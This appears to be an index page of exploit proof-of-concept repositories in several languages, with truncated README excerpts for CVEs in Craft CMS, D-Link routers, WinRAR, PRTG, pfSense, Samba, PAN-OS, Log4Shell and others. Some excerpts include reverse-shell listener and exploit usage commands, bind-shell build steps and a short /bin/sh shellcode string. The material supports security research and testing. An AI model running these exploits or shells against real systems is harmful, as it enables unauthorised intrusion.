CVE-2024-24576-Exploit

CVE-2024-24576-Exploit Command::arg および Command::args API は、そのドキュメントで、引数はその内容に関係なく、生成されたプロセスにそのまま渡され、シェルによって評価されないと述べています。これは、信頼できない入力を引数として渡しても安全であるはずであることを意味します。 Windows では、Windows API が生成されたプロセスに対するすべての引数を含む単一の文字列のみを提供し、それらを分割するのは生成されたプロセス次第であるため、この実装は他のプラットフォームよりも複雑です。ほとんどのプログラムは標準 C ランタイムの...

SLAE

SecurityTube Linux 汇编专家 这篇博客文章是为完成 SecurityTube Linux 汇编专家认证的要求而创建的： http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ 学生 ID：SLAE-1134 文章 作业 1：Linux x86 IPv4、IPv6 与双网络协议栈 TCP 绑定 Shell 作业 2：Linux x86 IPv4 和 IPv6 TCP 反向 Shell 作业 3：Linux x86 Egghunter（蛋搜索器） 作业 4：Lin...

exploits

漏洞利用 由 Xiphos Research 为测试目的编写的各类概念验证漏洞利用代码。 当前漏洞利用（索引可能已过时） phpMoAdmin 远程代码执行 CVE-2015-2208 LotusCMS 远程代码执行 OSVDB-75095 ElasticSearch 远程代码执行 CVE-2015-1427 ShellShock httpd 远程代码执行 CVE-2014-6271 IISlap - http.sys 拒绝服务/RCE PoC（仅 DoS）。MS-15-034 se0wned - Seowintech 路由器 diagnostic.cgi 远程 root WPsh0pw...

Craft-CMS-Exploit

このPythonスクリプトは、人気のあるコンテンツ管理システムであるCraft CMSのリモートコード実行脆弱性（CVE-2023-41892）を悪用します。この脆弱性はバージョン4.0.0-RC1から4.4.14に影響し、攻撃者がPHPリバースシェルのように任意のコードをリモートで実行することを可能にします。 使用方法 まず、別のシェルでnetcatリスナーを起動します： nc -nlvp 1234 次に、自分のIPアドレスを確認し、エクスプロイトを実行します： python3 exploit.py -r 10.10.16.47 -p 1234...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 EXP VMware View Planner RCE CVE-2021-21978 反弹shell...

dlink_shell_poc

dlinkshellpoc Dlink shell PoC（概念验证） 已在 D-Link 815 Version A 1.3 上测试通过 适用于： DIR-110 DIR-412 DIR-600 DIR-610 DIR-615 DIR-645 https://vuldb.com/?id.7843 DIR-815 注意：PoC 代码不处理验证码。 示例 root@kali: ./dlinkshellpoc.py -h usage: dlinkshellpoc.py -h -p PASSWORD -u URL -x D-Link Service.cgi RCE optional...

CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc 非常重要 我希望你先看这个链接 https://github.com/b1tg/CVE-2023-38831-winrar-exploit 我没有编写完整的漏洞利用程序。 他编写了漏洞利用程序 。 https://github.com/b1tg 他所做的只是修改了一些简单的东西，以通过 script.bat 文件获得一个反向 Shell 如何运行 python cve-2023-38831-exp-gen.py 别忘了修改 ip 和端口的值 使用任何 pdf、png 或 jpg 文件 POC 文件 .pdf...

CVE-2026-41567

CVE-2026-41567 1day Docker 逃逸漏洞 CVE-2026-41567 的 1day。 这是一个使用特洛伊木马化的 xz / unpigz 进行 Docker 逃逸的演示。 它可以很容易地修改为远程使用（例如，只需将 Docker 默认 IP 修改为远程 C2 即可）。 有关该漏洞利用的更多信息，请参见此处 PoC 在主机上运行 netcat 监听端口 50005 ubuntu@ubuntu-noble:/CVE-2026-41567$ nc -vlp 50005 Listening on 0.0.0.0 50005 Connection received on...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 リバースシェル Python3サポート 依存関係 Impacket python3 バージョン Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...

CVE-2023-4450-Attack

CVE-2023-4450-Attack 用于攻击JimuReport的CVE-2023-4450漏洞的自动化工具 简介 本工具只可用于安全测试，勿用于非法用途！ Usage java -jar CVE-2023-4450-Attack.jar 提供了三个功能：命令执行、CMD/冰蝎内存马 注入冰蝎内存马后进行如下配置： SomeTestResult 结语 第一次做武器化工具，希望此工具能在您渗透测试时提供帮助，如有建议，欢迎提交issue！ 同时致谢：Nivia、baicany两位师傅！！...

cve-2023-1671

Cve-2023-1671 Cve-2023-1671（https://vulners.com/cve/CVE-2023-1671）是如何工作的？ /opt/ws/bin/ftsblistpack 是一个 Perl 脚本，它调用 /opt/ws/bin/sblistpack，这是另一个 Perl 脚本。 其中的 shell 命令参数用单引号括起来： $rc += system"$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'"; 这一点将来会很重要，它将成为导致漏洞的因素之一。...

SLAE

SLAE Securitytube Linux 汇编专家（SLAE） SLAE-721 构建 + Assembling ... + Linking ... + Extract Shellcode from binary ... "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x89" "\xc1\xb0\x0b\xcd\x80" + Create C-Header file ... + Compile PoC ... + Run PoC ... + Shellcode Length: 21 id...

CVE-2025-32206

CVE-2025-32206 - WordPress Processing Projects 「LABCAT Processing Projectsにおける危険なタイプのファイルの無制限アップロードの脆弱性により、攻撃者はWebサーバーにWebシェルをアップロードできます。これにより完全な侵害につながる可能性があります。」 🧑‍💻 エクスプロイトの説明 このPythonエクスプロイトスクリプトは、脆弱性のあるProcessing Projects...

cve-2011-2523-vsftpd-validation-lab

CVE-2011-2523 — vsFTPd 2.3.4 Backdoor Validation Lab ⚠️ Authorized Lab Only — conducted in an isolated VirtualBox Host-Only network using Kali Linux and Metasploitable2. No unauthorized systems were scanned or accessed at any point. Overview CVE-2011-2523 is one of the most well-known supply chain...

CVE-2024-0012_CVE-2024-9474_PoC

🚀 Exploit CVE-2024-0012 y CVE-2024-9474 Palo Alto PAN-OS 🔐 🛡️ Descripción Este script de Prueba de Concepto PoC se dirige a vulnerabilidades en Palo Alto PAN-OS, específicamente CVE-2024-0012 y CVE-2024-9474 , automatizando el proceso de explotación, incluyendo el bypass de autenticación, la...

CVE-2022-31814

Download CVE-2022-31814 该脚本利用 pfSense 中的一个漏洞来上传一个 shell、执行命令，然后删除 shell。 要求 Python 3.x requests 库 安装 1. 克隆仓库或下载脚本。 2. 安装所需的 Python 库： pip install requests 使用 python pfsense.py -f -c -f, --file：包含 URL 列表的文件路径（每行一个）。 -c, --command：要在目标上执行的命令。 示例 python pfsense.py -f targets.txt -c "id" 脚本详情...

CVE-2017-7494_SambaCry

CVE-2017-7494 SambaCry 漏洞利用 针对 Samba 的 SambaCry CVE-2017-7494 漏洞利用（无需 Metasploit 的绑定 Shell） 如果需要更改端口，只需修改 bindshell-samba.c 的第 68 行并重新编译： gcc -c -fpic bindshell-samba.c gcc -shared -o libbindshell-samba.so bindshell-samba.o 如何利用： 查看共享（在本例中我们使用匿名用户）： smbclient -L //192.168.10.131/ -U "" -N Sharena...

CVE-2026-107814

MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, MariaDB RPM packages created the dedicated mysql service account with the database data directory as its home directory. A database user with the FILE privilege...

log4shell-minecraft-demo

Log4Shell CVE-2021-44228 Minecraft 演示 此演示用于教育展会，让未来的潜在学生了解HTL Villach的网络安全部门，以及日常应用如何被利用。 注意： 整个演示使用 Minecraft 1.8.8。 攻击者 此场景中的攻击者使用了kozmer的PoC。https://github.com/kozmer/log4j-shell-poc 所有功劳归功于他们。 注意： 所有命令需要在 attacker/ 目录下执行。 要求： pip install -r requirements.txt 使用： 启动一个 netcat 监听器以接受反向 shell 连接。 ...

CVE-2023-4220

使用Web Shell对Chamilo LMS CVE-2023-4220进行远程代码执行 本项目自动利用Chamilo LMS中的远程代码执行漏洞（CVE-2023-4220）。通过Web Shell，该工具可自动化利用该漏洞，从而控制受影响的Chamilo LMS实例。 功能： 自动化利用CVE-2023-4220 Web Shell集成 演示漏洞的影响 用法/示例 ./exploit.py -t http://example.com 截图 免责声明： 此工具仅用于教育目的，并帮助安全专业人员理解和缓解漏洞。未经许可擅自用于系统是非法且不道德的。 🔗 链接...